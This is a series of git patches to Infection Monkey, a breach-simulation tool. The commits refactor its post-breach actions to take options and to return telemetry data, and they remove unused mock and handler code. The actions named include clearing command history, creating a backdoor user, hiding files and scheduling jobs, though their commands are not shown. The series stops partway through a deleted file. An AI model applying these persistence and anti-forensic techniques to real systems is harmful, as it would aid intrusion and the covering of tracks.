"monkey/common/common_consts/post_breach_consts.py": "01d31448269e5581dbe0176c289f7dd36cc5854f", - "monkey/infection_monkey/post_breach/actions/discover_accounts.py": "8fdebd0df97655e4cba3aebcdcf3c5ed1d1b6cbd", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "88a3e8cb59fb0d1c07c9487bcb4eaab7b8087d84" + "monkey/common/common_consts/post_breach_consts.py": "19b6c4f19b7223f115976a0050ca04ab97e52f8e", + "monkey/infection_monkey/post_breach/actions/discover_accounts.py": "a153cf5b6185c9771414fc5ae49d441efc7294b6", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "d6831ed63b17f327d719a05840d7e51202fa5ccb" } } } From 8733d3f6c472b67397d89c6d25e633920c2f2b3b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 14:24:19 -0400 Subject: [PATCH 0936/1110] =?UTF-8?q?Swimm:=20update=20exercise=20Implemen?= =?UTF-8?q?t=20a=20new=20PBA=20=E2=80=94=20=20=20VW4rf3AxRslfT7lwaug7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/VW4rf3AxRslfT7lwaug7.swm | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm index 79d9deb21..0dec8b5e4 100644 --- a/.swm/VW4rf3AxRslfT7lwaug7.swm +++ b/.swm/VW4rf3AxRslfT7lwaug7.swm @@ -18,16 +18,17 @@ "type": "snippet", "path": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py", "comments": [], - "firstLineNumber": 12, + "firstLineNumber": 13, "lines": [ " \"\"\"", " ", - " def __init__(self):", + " def __init__(self, telemetry_messenger: ITelemetryMessenger):", "* linux_cmds, windows_cmds = get_commands_to_schedule_jobs()", "+ pass", "*", "+ # Swimmer: IMPLEMENT HERE!", "* super(ScheduleJobs, self).__init__(", + "* telemetry_messenger,", "* name=POST_BREACH_JOB_SCHEDULING,", "* linux_cmd=\" \".join(linux_cmds),", "* windows_cmd=windows_cmds,", @@ -44,11 +45,11 @@ } ], "symbols": {}, - "file_version": "2.0.1", + "file_version": "2.0.3", "meta": { - "app_version": "0.4.1-1", + "app_version": "0.6.6-2", "file_blobs": { - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": "e7845968a0c27d2eba71a8889645fe88491cb2a8" + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": "8aeb0b42d69f7930afb4f4fb1962a65849e05934" } } } From d596e8c59356663347ae05743c18dc20cfd109ee Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 14:24:31 -0400 Subject: [PATCH 0937/1110] Agent: Rename typing to custom_types Naming the module "typing" and then importing from "typing" within the module itself caused some confusion for python and resulted in failed builds. --- .../credential_store/aggregating_credentials_store.py | 2 +- monkey/infection_monkey/credential_store/i_credentials_store.py | 2 +- monkey/infection_monkey/{typing.py => custom_types.py} | 0 monkey/infection_monkey/master/control_channel.py | 2 +- monkey/infection_monkey/master/exploiter.py | 2 +- 5 files changed, 4 insertions(+), 4 deletions(-) rename monkey/infection_monkey/{typing.py => custom_types.py} (100%) diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py index eef6f72fc..27ead7d26 100644 --- a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -2,9 +2,9 @@ import logging from typing import Any, Iterable, Mapping from common.common_consts.credential_component_type import CredentialComponentType +from infection_monkey.custom_types import PropagationCredentials from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_puppet import Credentials -from infection_monkey.typing import PropagationCredentials from infection_monkey.utils.decorators import request_cache from .i_credentials_store import ICredentialsStore diff --git a/monkey/infection_monkey/credential_store/i_credentials_store.py b/monkey/infection_monkey/credential_store/i_credentials_store.py index 72ef12d44..711c77a89 100644 --- a/monkey/infection_monkey/credential_store/i_credentials_store.py +++ b/monkey/infection_monkey/credential_store/i_credentials_store.py @@ -1,8 +1,8 @@ import abc from typing import Iterable +from infection_monkey.custom_types import PropagationCredentials from infection_monkey.i_puppet import Credentials -from infection_monkey.typing import PropagationCredentials class ICredentialsStore(metaclass=abc.ABCMeta): diff --git a/monkey/infection_monkey/typing.py b/monkey/infection_monkey/custom_types.py similarity index 100% rename from monkey/infection_monkey/typing.py rename to monkey/infection_monkey/custom_types.py diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index eb6dd12d5..7795a35f7 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -6,8 +6,8 @@ import requests from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient +from infection_monkey.custom_types import PropagationCredentials from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError -from infection_monkey.typing import PropagationCredentials requests.packages.urllib3.disable_warnings() diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 5f8e25b4d..b9eada5b6 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -7,9 +7,9 @@ from queue import Queue from threading import Event from typing import Callable, Dict, List, Mapping +from infection_monkey.custom_types import PropagationCredentials from infection_monkey.i_puppet import ExploiterResultData, IPuppet from infection_monkey.model import VictimHost -from infection_monkey.typing import PropagationCredentials from infection_monkey.utils.threading import interruptible_iter, run_worker_threads QUEUE_TIMEOUT = 2 From 394088e39d67e4e259b723c02e851c85f7904f46 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 16:10:20 -0400 Subject: [PATCH 0938/1110] BB: Reduce DELAY_BETWEEN_ANALYSIS --- envs/monkey_zoo/blackbox/tests/exploitation.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index 30915be4a..15ad409eb 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -8,7 +8,7 @@ from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60 WAIT_TIME_BETWEEN_REQUESTS = 1 TIME_FOR_MONKEY_PROCESS_TO_FINISH = 5 -DELAY_BETWEEN_ANALYSIS = 3 +DELAY_BETWEEN_ANALYSIS = 1 LOGGER = logging.getLogger(__name__) From 31d9f04fe732415a6a0f07ea420c1325b24ab4cd Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 12:18:32 +0530 Subject: [PATCH 0939/1110] Agent: Remove leftover WormConfiguration code from HostExploiter --- monkey/infection_monkey/exploit/HostExploiter.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 09a6d274e..602dd338a 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -5,7 +5,6 @@ from datetime import datetime from typing import Dict from common.utils.exceptions import FailedExploitationError -from infection_monkey.config import WormConfiguration from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger @@ -21,7 +20,6 @@ class HostExploiter: pass def __init__(self): - self._config = WormConfiguration self.exploit_info = { "display_name": self._EXPLOITED_SERVICE, "started": "", From 99b621f2c8505c997a3c302864e8834258694223 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 12:25:59 +0530 Subject: [PATCH 0940/1110] Project: Add config's post_breach_actions to Vulture's allowlist --- vulture_allowlist.py | 1 + 1 file changed, 1 insertion(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 687a9b497..4d1b25d3f 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -149,6 +149,7 @@ Report.meta LDAPServerFactory.buildProtocol get_file_sha256_hash strict_slashes # unused attribute (monkey/monkey_island/cc/app.py:96) +post_breach_actions # unused variable (monkey\infection_monkey\config.py:95) # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 296a91a458a362eddf485f2671b1e66e06071648 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 12:26:34 +0530 Subject: [PATCH 0941/1110] Agent: Remove unused file post_breach_handler.py --- .../post_breach/post_breach_handler.py | 39 ------------------- 1 file changed, 39 deletions(-) delete mode 100644 monkey/infection_monkey/post_breach/post_breach_handler.py diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py deleted file mode 100644 index 489b2065a..000000000 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ /dev/null @@ -1,39 +0,0 @@ -import logging -from multiprocessing.dummy import Pool -from typing import Sequence - -from infection_monkey.post_breach.pba import PBA - -logger = logging.getLogger(__name__) - - -class PostBreach(object): - """ - This class handles post breach actions execution - """ - - def __init__(self): - self.pba_list = self.config_to_pba_list() - - def execute_all_configured(self): - """ - Executes all post breach actions. - """ - with Pool(5) as pool: - pool.map(self.run_pba, self.pba_list) - logger.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) - - @staticmethod - def config_to_pba_list() -> Sequence[PBA]: - """ - :return: A list of PBA objects. - """ - return PBA.get_instances() - - def run_pba(self, pba): - try: - logger.debug("Executing PBA: '{}'".format(pba.name)) - pba.run() - logger.debug(f"Execution of {pba.name} finished") - except Exception as e: - logger.error("PBA {} failed. Error info: {}".format(pba.name, e)) From 40b1ae005846fe620fd3138c8832be42580749e2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 13:37:47 +0530 Subject: [PATCH 0942/1110] Agent: Modify puppet to run PBAs instead of using the mock puppet --- .../post_breach/actions/clear_command_history.py | 3 ++- .../post_breach/actions/collect_processes_list.py | 3 ++- .../post_breach/actions/communicate_as_backdoor_user.py | 3 ++- monkey/infection_monkey/post_breach/actions/hide_files.py | 6 ++++-- .../post_breach/actions/modify_shell_startup_files.py | 3 ++- .../infection_monkey/post_breach/actions/schedule_jobs.py | 6 ++++-- .../post_breach/actions/use_signed_scripts.py | 5 +++-- monkey/infection_monkey/puppet/puppet.py | 3 ++- 8 files changed, 21 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index e6ab2d23e..3ef363121 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -1,4 +1,5 @@ import subprocess +from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY from infection_monkey.i_puppet.i_puppet import PostBreachData @@ -13,7 +14,7 @@ class ClearCommandHistory(PBA): def __init__(self, telemetry_messenger: ITelemetryMessenger): super().__init__(telemetry_messenger, name=POST_BREACH_CLEAR_CMD_HISTORY) - def run(self): + def run(self, options: Dict): results = [pba.run() for pba in self.clear_command_history_pba_list()] if results: # `self.command` is empty here diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index 409583d18..78102c595 100644 --- a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -1,4 +1,5 @@ import logging +from typing import Dict import psutil @@ -21,7 +22,7 @@ class ProcessListCollection(PBA): def __init__(self, telemetry_messenger: ITelemetryMessenger): super().__init__(telemetry_messenger, POST_BREACH_PROCESS_LIST_COLLECTION) - def run(self): + def run(self, options: Dict): """ Collects process information from the host. Currently lists process name, ID, parent ID, command line diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 60990d67a..93b461c11 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -3,6 +3,7 @@ import random import shutil import string import subprocess +from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER from infection_monkey.i_puppet.i_puppet import PostBreachData @@ -39,7 +40,7 @@ class CommunicateAsBackdoorUser(PBA): telemetry_messenger, name=POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER ) - def run(self): + def run(self, options: Dict): username = CommunicateAsBackdoorUser.get_random_new_user_name() try: password = get_random_password(14) diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index 457b9dafe..838fae222 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -1,3 +1,5 @@ +from typing import Dict + from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA @@ -21,7 +23,7 @@ class HiddenFiles(PBA): def __init__(self, telemetry_messenger: ITelemetryMessenger): super(HiddenFiles, self).__init__(telemetry_messenger, name=POST_BREACH_HIDDEN_FILES) - def run(self): + def run(self, options: Dict): # create hidden files and folders for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS: linux_cmds, windows_cmds = function_to_get_commands() @@ -30,7 +32,7 @@ class HiddenFiles(PBA): linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds, ) - super(HiddenFiles, self).run() + super(HiddenFiles, self).run(options) if is_windows_os(): # use winAPI result, status = get_winAPI_to_hide_files() diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 4d755567b..9b15de77f 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -1,4 +1,5 @@ import subprocess +from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from infection_monkey.i_puppet.i_puppet import PostBreachData @@ -19,7 +20,7 @@ class ModifyShellStartupFiles(PBA): def __init__(self, telemetry_messenger: ITelemetryMessenger): super().__init__(telemetry_messenger, name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION) - def run(self): + def run(self, options: Dict): results = [pba.run() for pba in self.modify_shell_startup_PBA_list()] if not results: results = [ diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index 8aeb0b42d..4ab023e35 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -1,3 +1,5 @@ +from typing import Dict + from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING from infection_monkey.post_breach.job_scheduling.job_scheduling import ( get_commands_to_schedule_jobs, @@ -22,7 +24,7 @@ class ScheduleJobs(PBA): windows_cmd=windows_cmds, ) - def run(self): - super(ScheduleJobs, self).run() + def run(self, options: Dict): + super(ScheduleJobs, self).run(options) remove_scheduled_jobs() return self.pba_data diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index d7323b54e..470e07bb1 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -1,5 +1,6 @@ import logging import subprocess +from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC from infection_monkey.post_breach.pba import PBA @@ -22,14 +23,14 @@ class SignedScriptProxyExecution(PBA): windows_cmd=" ".join(windows_cmds), ) - def run(self): + def run(self, options: Dict): original_comspec = "" try: if is_windows_os(): original_comspec = subprocess.check_output( # noqa: DUO116 "if defined COMSPEC echo %COMSPEC%", shell=True ).decode() - super().run() + super().run(options) return self.pba_data except Exception as e: logger.warning( diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 061fe1132..ec3f97134 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -37,7 +37,8 @@ class Puppet(IPuppet): return credential_collector.collect_credentials(options) def run_pba(self, name: str, options: Dict) -> Iterable[PostBreachData]: - return self._mock_puppet.run_pba(name, options) + pba = self._plugin_registry.get_plugin(name, PluginType.POST_BREACH_ACTION) + return pba.run(options) def ping(self, host: str, timeout: float = CONNECTION_TIMEOUT) -> PingScanData: return network_scanning.ping(host, timeout) From 0be6af2d5c43a96c403e926ef0e238ab9af8455e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 13:42:17 +0530 Subject: [PATCH 0943/1110] Agent: Modify clear command history PBA to return pba_data and not None --- .../post_breach/actions/clear_command_history.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index 3ef363121..fbffc9079 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -19,7 +19,8 @@ class ClearCommandHistory(PBA): if results: # `self.command` is empty here self.pba_data.append(PostBreachData(self.name, self.command, results)) - return self.pba_data + + return self.pba_data def clear_command_history_pba_list(self): return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas() From 9f8463f707a1428862e9741335f5fbced2b6f565 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 13:42:58 +0530 Subject: [PATCH 0944/1110] Agent: Modify PBA base class to accept options in its run method --- monkey/infection_monkey/post_breach/pba.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 9222d5e1a..302830e74 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,6 +1,6 @@ import logging import subprocess -from typing import Iterable +from typing import Dict, Iterable from common.utils.attack_utils import ScanStatus from infection_monkey.i_puppet.i_puppet import PostBreachData @@ -30,7 +30,7 @@ class PBA: self.pba_data = [] self.telemetry_messenger = telemetry_messenger - def run(self) -> Iterable[PostBreachData]: + def run(self, options: Dict) -> Iterable[PostBreachData]: """ Runs post breach action command """ From 501d32b1719360ef125bb0a9339b7346219df3c9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 13:44:38 +0530 Subject: [PATCH 0945/1110] Agent: Modify master to pass PostBreachData to PostBreachTelem --- monkey/infection_monkey/master/automated_master.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index b499b578d..e5269fa64 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -201,9 +201,7 @@ class AutomatedMaster(IMaster): return for pba_data in self._puppet.run_pba(name, options): - self._telemetry_messenger.send_telemetry( - PostBreachTelem(pba_data.display_name, pba_data.command, pba_data.result) - ) + self._telemetry_messenger.send_telemetry(PostBreachTelem(pba_data)) def _can_propagate(self) -> bool: return True From a2bad110a1029ce3cf8c99a44d5741f17e74010c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 13:46:09 +0530 Subject: [PATCH 0946/1110] Agent: Modify PBA base class to return pba_data and not None --- monkey/infection_monkey/post_breach/pba.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 302830e74..ba027972e 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -45,10 +45,11 @@ class PBA: ) ) self.pba_data.append(PostBreachData(self.name, self.command, result)) - return self.pba_data else: logger.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") + return self.pba_data + def is_script(self): """ Determines if PBA is a script (PBA might be a single command) From 3f01b9bcac20036d9d3137508ab7e9b8919e65f2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 13:52:53 +0530 Subject: [PATCH 0947/1110] Agent: Pass telemetry_messenger to PBA constructors where it was missing --- .../post_breach/actions/clear_command_history.py | 6 +++++- monkey/infection_monkey/post_breach/actions/hide_files.py | 1 + .../post_breach/actions/modify_shell_startup_files.py | 1 + 3 files changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index fbffc9079..c668550c4 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -46,7 +46,11 @@ class ClearCommandHistory(PBA): class ClearCommandHistoryFile(PBA): def __init__(self, linux_cmds): - super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY, linux_cmd=linux_cmds) + super().__init__( + self.telemetry_messenger, + name=POST_BREACH_CLEAR_CMD_HISTORY, + linux_cmd=linux_cmds, + ) def run(self): if self.command: diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index 838fae222..5c0bda507 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -28,6 +28,7 @@ class HiddenFiles(PBA): for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS: linux_cmds, windows_cmds = function_to_get_commands() super(HiddenFiles, self).__init__( + self.telemetry_messenger, name=POST_BREACH_HIDDEN_FILES, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds, diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 9b15de77f..1310d2140 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -64,6 +64,7 @@ class ModifyShellStartupFiles(PBA): class ModifyShellStartupFile(PBA): def __init__(self, linux_cmds, windows_cmds): super().__init__( + self.telemetry_messenger, name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, linux_cmd=linux_cmds, windows_cmd=windows_cmds, From ca0972f84737b238643c6fdce1b5ca94be228e0f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 14:01:12 +0530 Subject: [PATCH 0948/1110] Agent: Pass None to telemetry_messenger arg in nested PBA classes This is not the most ideal way but it gets the job done without the unnecessary complexity of passing the telemetry messenger through different classes and functions when it's not needed. --- .../post_breach/actions/clear_command_history.py | 2 +- .../post_breach/actions/modify_shell_startup_files.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index c668550c4..e92185fbf 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -47,7 +47,7 @@ class ClearCommandHistory(PBA): class ClearCommandHistoryFile(PBA): def __init__(self, linux_cmds): super().__init__( - self.telemetry_messenger, + telemetry_messenger=None, name=POST_BREACH_CLEAR_CMD_HISTORY, linux_cmd=linux_cmds, ) diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 1310d2140..1a78aa3f0 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -64,7 +64,7 @@ class ModifyShellStartupFiles(PBA): class ModifyShellStartupFile(PBA): def __init__(self, linux_cmds, windows_cmds): super().__init__( - self.telemetry_messenger, + telemetry_messenger=None, name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, linux_cmd=linux_cmds, windows_cmd=windows_cmds, From 6c59c54739353f1c8faab45bf8653a7a0dd1af56 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Mar 2022 15:58:47 +0530 Subject: [PATCH 0949/1110] UI: Fix logic in PostBreachParser.js for process list collection PBA --- .../report-components/security/PostBreachParser.js | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js index 0a41f2c24..39308e102 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js @@ -5,10 +5,7 @@ export default function parsePbaResults(results) { const SHELL_STARTUP_NAME = 'Modify shell startup file'; const CMD_HISTORY_NAME = 'Clear command history'; -// TODO: Remove line 10 and un-comment line 11 after the TODO in `_run_pba()` in -// `automated_master.py` is resolved. -const PROCESS_LIST_COLLECTION = 'ProcessListCollection'; -// const PROCESS_LIST_COLLECTION = 'Process list collection'; +const PROCESS_LIST_COLLECTION = 'Collect running processes'; const multipleResultsPbas = [SHELL_STARTUP_NAME, CMD_HISTORY_NAME] @@ -53,7 +50,7 @@ function aggregateMultipleResultsPba(results) { for (let i = 0; i < results.length; i++) { if (multipleResultsPbas.includes(results[i].name)) aggregateResults(results[i]); - if (results[i].name === PROCESS_LIST_COLLECTION) + if ((results[i].name === PROCESS_LIST_COLLECTION) && (typeof results[i].result[0] !== "string")) modifyProcessListCollectionResult(results[i].result); } From 29b19a667b3bed7ae3e43b942d9e29c002c3346e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 07:16:15 -0400 Subject: [PATCH 0950/1110] =?UTF-8?q?Swimm:=20update=20exercise=20Implemen?= =?UTF-8?q?t=20a=20new=20PBA=20=E2=80=94=20=20=20VW4rf3AxRslfT7lwaug7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/VW4rf3AxRslfT7lwaug7.swm | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm index 0dec8b5e4..3968694f8 100644 --- a/.swm/VW4rf3AxRslfT7lwaug7.swm +++ b/.swm/VW4rf3AxRslfT7lwaug7.swm @@ -18,7 +18,7 @@ "type": "snippet", "path": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py", "comments": [], - "firstLineNumber": 13, + "firstLineNumber": 15, "lines": [ " \"\"\"", " ", @@ -34,8 +34,8 @@ "* windows_cmd=windows_cmds,", "* )", "*", - "* def run(self):", - "* super(ScheduleJobs, self).run()", + "* def run(self, options: Dict):", + "* super(ScheduleJobs, self).run(options)", "* remove_scheduled_jobs()" ] }, @@ -49,7 +49,7 @@ "meta": { "app_version": "0.6.6-2", "file_blobs": { - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": "8aeb0b42d69f7930afb4f4fb1962a65849e05934" + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": "4ab023e35fa4424f0c6583233f5b056c7b1cad51" } } } From 73b678ae19cc26c442d2744bb1b9728178044a42 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 07:16:56 -0400 Subject: [PATCH 0951/1110] Agent: Remove redundant telemetry_messenger instantiation --- monkey/infection_monkey/monkey.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index abcd96772..f9eac872d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -187,10 +187,6 @@ class InfectionMonkey: victim_host_factory = self._build_victim_host_factory(local_network_interfaces) - telemetry_messenger = ExploitInterceptingTelemetryMessenger( - self._telemetry_messenger, self._monkey_inbound_tunnel - ) - telemetry_messenger = CredentialsInterceptingTelemetryMessenger( ExploitInterceptingTelemetryMessenger( self._telemetry_messenger, self._monkey_inbound_tunnel From 2c32c354ae36627be6c26620c5b11efb3ccb2192 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 07:20:37 -0400 Subject: [PATCH 0952/1110] Agent: Remove MockMaster This mock has outlived its usefulness and can now be removed. --- monkey/infection_monkey/master/mock_master.py | 127 ------------------ vulture_allowlist.py | 1 - 2 files changed, 128 deletions(-) delete mode 100644 monkey/infection_monkey/master/mock_master.py diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py deleted file mode 100644 index 528f0ec3d..000000000 --- a/monkey/infection_monkey/master/mock_master.py +++ /dev/null @@ -1,127 +0,0 @@ -import logging - -from infection_monkey.i_master import IMaster -from infection_monkey.i_puppet import IPuppet, PortStatus -from infection_monkey.model.host import VictimHost -from infection_monkey.telemetry.credentials_telem import CredentialsTelem -from 